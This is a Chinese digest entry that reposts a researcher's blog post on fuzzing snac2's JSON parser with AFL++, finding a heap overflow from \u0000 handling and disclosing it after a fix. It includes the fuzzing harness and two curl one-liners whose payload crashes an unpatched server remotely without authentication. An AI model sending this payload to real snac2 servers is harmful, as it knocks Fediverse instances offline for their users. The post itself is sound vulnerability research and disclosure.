← 返回日报
略读 预计 7 分钟

Fuzzing for fun - unauthenticated denial of service in snac2

摘要

作者作为新手研究员选择 snac2 作为目标,使用 AFL++ 对 xs_json_load 函数进行 fuzzing,发现 JSON 字符串中 序列未被正确替换,导致空字节插入后 strlen 计算的缓冲区大小不足,引发堆溢出。漏洞可通过 Content-Type: application / activity + json 的 POST 请求到任意端点触发服务器崩溃,属于远程未认证 DoS;文章描述了 fuzzing 过程、崩溃确认、根本原因分析(strchr 对空字节的处理及 xs 字符串函数),并提及已发布的修复提交和 CVE 请求。

荐读理由

完整复现了用 AFL++ 对 C 项目 JSON 解析器做 fuzz 的 harness、编译指令和崩溃简化过程,可直接抄来测自己工程里的自定义解析器;同时用一个真实案例反驳了 2026 年人类还找不到中危漏洞的论调

原文

Fuzzing for fun - unauthenticated denial of service in snac2 | Nullenvk's blog

Nullenvk's blog

Posts

Fuzzing for fun - unauthenticated denial of service in snac2

Introduction

This story begins with me reading (then latest) news on Anthropic's new Mythos model and its capabilities. Then, the discussions on whether vulnerability research is going to prevail as a human field have started to emerge nearly everywhere on the internet, with countless arguments on whether it's going to be possible to find new vulnerabilities as a human researcher, etc.

This is not a post about LLMs or the so-called "vulnocalypse", nor an attempt to address any of the aforementioned problems, but this whole situation left me pondering: "how hard is it for an unexperienced researcher to find a new vulnerability of at least medium severity as of 2026?". And as a result of that, I've embarked on a small journey to find at least one bug in an non-trivial, open-source project.

The important thing to note here is that, although I'm familiar with binary exploitation from the point of view of a CTF player, I haven't had much experience with finding bugs in real-world software (besides some CTF challenges involving finding 0days in niche projects).

Why snac2?

I could've picked any hobbyist's project and I probably would've found countless vulnerabilities, maybe even with a full RCE chain. However, researching vulns in obscure software used only by a handful of hobbyists is hardly a challenge, and rather not something worthy of mentioning in a blog post. So, I've decided to try to find something that's both hosted on numerous public servers and reasonably well known.

Ultimately, I've picked snac2, the minimalistic ActivityPub server, because:

  • there's a lot of small Fediverse instances that are hosted on it, and a handful of larger servers (like snac.bsd.cafe or hj.9fs.net)

  • it's written in C language, famously prone to classic memory management bugs

  • happens to implement a few custom parsers, an easy target for exploitation

  • seems to actually include some proper security mitigations, like optional Landlock support for Linux-based systems and pledge/unveil on OpenBSD

Inspecting the attack surface and picking a target

Upon my first look at the code, I've decided to limit myself to code reachable from the perspective of a remote, unauthenticated attacker. Since the very core of this software is built upon the ActivityPub protocol, intended for enabling Fediverse servers to exchange new posts and events within the network, I thought it'd be worth to take a look at how the server handles ActivityPub messages.

The httpd.c server spawns multiple worker threads, which are responsible for handling new connections within the background_thread function by retrieving new connections from a global queue. The main thread publishes new connection onto the queue, while the worker threads consume them. Afterwards, the httpd_connection function directly processes the received request. The interesting part is, that the function iterates over all available API handles (like activitypub_get_handler or oauth_get_handler) to determine which handler is the right one for the request, which means that an invalid request is going to reach all available handlers:

   if (strcmp(method, "POST") == 0) {

        if (status == 0)
            status = server_post_handler(req, q_path,
                        payload, p_size, &body, &b_size, &ctype);

#ifndef NO_MASTODON_API
        if (status == 0)
            status = oauth_post_handler(req, q_path,
                        payload, p_size, &body, &b_size, &ctype);

        if (status == 0)
            status = mastoapi_post_handler(req, q_path,
                        payload, p_size, &body, &b_size, &ctype);
#endif

        if (status == 0)
            status = activitypub_post_handler(req, q_path,
                        payload, p_size, &body, &b_size, &ctype);

Upon entering activitypub_post_handler, we can immediately see that if a request contains a Content-Type header set to "application/activity+json", the handler immediately attempts to decode the received data as JSON, without inspecting which endpoint does it belong to.

  int activitypub_post_handler(const xs_dict *req, const char *q_path,
                               char *payload, int p_size,
                               char **body, int *b_size, char **ctype)
  /* processes an input message */
  {
      (void)b_size;

      int status = HTTP_STATUS_ACCEPTED;
      const char *i_ctype = xs_dict_get(req, "content-type");
      snac snac;
      const char *v;

      if (i_ctype == NULL) {
          ,*body  = xs_str_new("no content-type");
          ,*ctype = "text/plain";
          return HTTP_STATUS_BAD_REQUEST;
      }

      if (xs_is_null(payload)) {
          ,*body  = xs_str_new("no payload");
          ,*ctype = "text/plain";
          return HTTP_STATUS_BAD_REQUEST;
      }

      if (xs_str_in(i_ctype, "application/activity+json") == -1 &&
          xs_str_in(i_ctype, "application/ld+json") == -1)
          return 0;

      /* decode the message */
      xs *msg = xs_json_loads(payload);
...

Therefore, if our snac2 server is hosted at http://localhost, then a POST request to http://localhost/ with header Content-Type: application/activity+json is going to trigger the JSON parser to run, which seems like a reasonable target to attack.

Fuzzing the JSON parser

Instead of manually inspecting the source code further, I've decided to employ a technique known as fuzzing in order to find inputs that may crash the parser (located in xs_json.h). If you're not familiar with fuzzing, it's essentially a method for testing code by supplying it with randomly generated inputs. In the most basic case, piping /dev/urandom to a program and waiting for it to crash is a very primitive form of fuzzing.

However, for more complex programs, just piping /dev/urandom to a program is going to be very inefficient, and will most likely take a very long time to detect some more complex patterns leading to crashes. Therefore, dedicated fuzzing programs such as AFL++ generate new inputs by using an initial corpus of valid inputs, which are continuously mutated through multiple strategies, employing a relatively complex genetic algorithm. Moreover, by employing compile-time binary instrumentation, a set of modified compilers can insert AFL-specific instructions, that can inform the fuzzer on how many functions and code paths are reached with a given input. Ultimately, this approach allows fuzzers to test as many available code paths as possible. This approach is so powerful, that even with a very trivial input corpus, AFL++ can start pulling JPEGs out of thin air when fuzzing a complete JPEG parser.

In snac2 project, I've decided to fuzz the xs_json_load function, which parses JSON data stored as a file (the fact that internally snac2 treats all data streams as FILE pointers is pretty fascinating too). In order to do that, I had to prepare a fuzzing harness - a very simple program which exposes the tested function to the fuzzer. In case of AFL++, I just needed a simple C program which reads a file path from argv[1], opens it, passes it to the parser, and then frees the result:

#include <stdio.h>

#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"

int main(int argc, char **argv) {
    if(argc < 2) return 0;

    FILE *f = fopen(argv[1], "r");

    xs_val *root = xs_json_load(f);

    if (root) {
        xs_free(root);
    }

    fclose(f);
    return 0;
}

In order to utilize AFL's binary instrumentation, I had to use a wrapped C compiler to create a binary. Assuming that we're conducting our research in a subdirectory within snac2's source tree:

afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json

Afterwards, I've put a simple test case ({"company": "a", "year": 2024}) in the input directory and launched the fuzzer:

afl-fuzz -i input -o findings -- ./fuzz_xs_json @@

Within minutes, I've started seeing first crashes in findings/default/crashes directory, which I've managed to promptly confirm. Among some of the simpler detected cases, there's this one:

[
  "TSo\u0  So\uF  So\uFcccccc
Ag {

After a few minutes of tinkering, I've simplified the above test case to a much cleaner form (confirming that \u0000 is the reason behind the crash):

  ["", "dummy\u0000..........................AAAAAA

Ultimately, in order to confirm that it's a real crash, and not just something involving my fuzzing harness, I've decided to test this payload on a real, locally hosted snac2 server, by sending this to a MastoAPI endpoint (immediately crashing the server):

  curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

After modifying the payload a bit, I've got the server to crash with standard ActivityPub endpoints as well:

  curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'

Understanding the crash

By the time I've figured out which element of the string is leading to the obvious heap overflow (the \u0000 string), it was already 3 AM, so I've messaged one of my friends, dzwdz, to take a closer look at the source code and find the source of this crash. He's the one who found the exact reason behind this overflow while I was sleeping.

The snac2 server uses a set of custom functions for handling its strings, using the xs_string type (a typedef on char*) and associated functions. When the JSON parser starts reading a string within a JSON object, it keeps an offset variable as a pointer to where new characters should be inserted.

    static xs_val *_xs_json_load_lexer(FILE *f, js_type *t)
    {
  ...

            v = xs_str_new(NULL);
            offset = 0;

            while ((c = fgetc(f)) != '"' && c != EOF && *t != JS_ERROR) {
                if (c == '\\') {
                    unsigned int cp = fgetc(f);

                    switch (cp) {
                    case 'n': cp = '\n'; break;
                    case 'r': cp = '\r'; break;
                    case 't': cp = '\t'; break;
                    case '"': cp = '"'; break;
                    case '\\': cp = '\\'; break;
                    case '/': cp = '/'; break;
                    case 'u': /* Unicode codepoint as an hex char */
                        if (fscanf(f, "%04x", &cp) != 1) {
                            ,*t = JS_ERROR;
                            break;
                        }

                        if (xs_is_surrogate(cp)) {
                            /* \u must follow */
                            if (fgetc(f) != '\\' || fgetc(f) != 'u') {
                                ,*t = JS_ERROR;
                                break;
                            }

                            unsigned int p2;
                            if (fscanf(f, "%04x", &p2) != 1) {
                                ,*t = JS_ERROR;
                                break;
                            }

                            cp = xs_surrogate_dec(cp, p2);
                        }

                        /* replace dangerous control codes with their visual representations */
                        if (cp < ' ' && !strchr("\r\n\t", cp))
                            cp += 0x2400;

                        break;

                    default:
                        ,*t = JS_ERROR;
                        break;
                    }

                    v = xs_utf8_insert(v, cp, &offset);

Let's take a closer look at the "replace dangerous control codes" part. If cp = 0, then cp < ' ' correctly evaluates as true. However, strchr("\r\n\t", 0) determines that byte 0x0 is a part of the "\r\n\t" string, because value 0x00 is also the null terminator of the string. Therefore, this code doesn't replace null bytes with their visual representations, and the \u0000 sequence leads to entering a null byte within the string.

Now, let's try to uncover why inserting a null byte leads to an overflow (and keep in mind that in the following functions, the size parameter is the size of the inserted character):

xs_str *xs_utf8_insert(xs_str *str, unsigned int cpoint, int *offset)
/* encodes an Unicode codepoint to utf-8 into str */
{
    char tmp[4];

    int c = xs_utf8_enc(tmp, cpoint);

    str = xs_insert_m(str, *offset, tmp, c);

    *offset += c;

    return str;
}
xs_val *xs_insert_m(xs_val *data, int offset, const char *mem, int size)
/* inserts a memory block */
{
    data = xs_expand(data, offset, size);
    memcpy(data + offset, mem, size);

    return data;
}
xs_val *xs_expand(xs_val *data, int offset, int size)
/* opens a hole in data */
{
    xstype type = xs_type(data);
    int sz = xs_size(data);
    int n;

    sz += size;

    /* open room */
    data = xs_realloc(data, _xs_blk_size(sz));

    /* move up the rest of the data */
    for (n = sz - 1; n >= offset + size; n--)
        data[n] = data[n - size];

    if (type == XSTYPE_LIST ||
        type == XSTYPE_DICT ||
        type == XSTYPE_DATA)
        _xs_put_size(data, sz);

    return data;
}
int xs_size(const xs_val *data)
/* returns the size of data in bytes */
{
    int len = 0;
    const char *p;

    if (data == NULL)
        return 0;

    switch (xs_type(data)) {
    case XSTYPE_STRING:
        len = strlen(data) + 1;
...

Since the memory required to store a new string is determined through a strlen call, the buffer keeps being continuously reallocated to the exact same size (strlen(data) + 1), while new characters keep being inserted past the allocated buffer, leading to an obvious heap overflow.

In order to fix this crash, we just had to filter out all null bytes from \uXXXX sequences. Here's a link to the snac2 commit that fixed this problem: https://codeberg.org/grunfink/snac2/commit/ec2c5c2046e0381bc942ec5d0d05ec861fe377e7

The impact of this vulnerability

I'll touch on specific methods I've tried to use while attempting to turn this overflow into an arbitrary write primitive (and, by the time this vulnerability was reported to the author, have failed to do so) in a future blog post. For now, I want to focus on the confirmed crashes.

Since we can just send a small POST request to any snac2 server and cause it to instantly crash, this can be classified as remote, unauthenticated denial of service. With very little resources, a malicious actor could start sending out these payloads to all publicly indexable snac2 servers, easily bringing down all snac2 servers on the public internet. Or even worse - could craft a legitimate ActivityPub object, which could continuously propagate to snac2 instances from a malicious instance.

Conclusion

By the time this blog post is published, at least 2-3 weeks have passed since snac2 has had published a new version containing the bug fix, and an appropriate CVE request has been submitted to the MITRE Corporation. I don't believe this vulnerability can be meaningfully turned into an arbitrary write primitive (and therefore, a remote code execution exploit) without extra information leak vulnerabilities (for defeating ASLR and safe linking mechanisms), so I can confidently share this information with you right now in this blog post. As I said before, I'm going to share more details on this in a future blog post.

Coincidentally, this also happens to be the very first proper post on my new website (despite the fact that my introduction dates back to two years ago). If you're waiting for more - I've got at least five more drafts waiting on my back burner :D

Thanks for reading and stay tuned for more!

Lobsters · 2 赞 · 0 评 讨论 → 阅读原文 →

这条对你有帮助吗?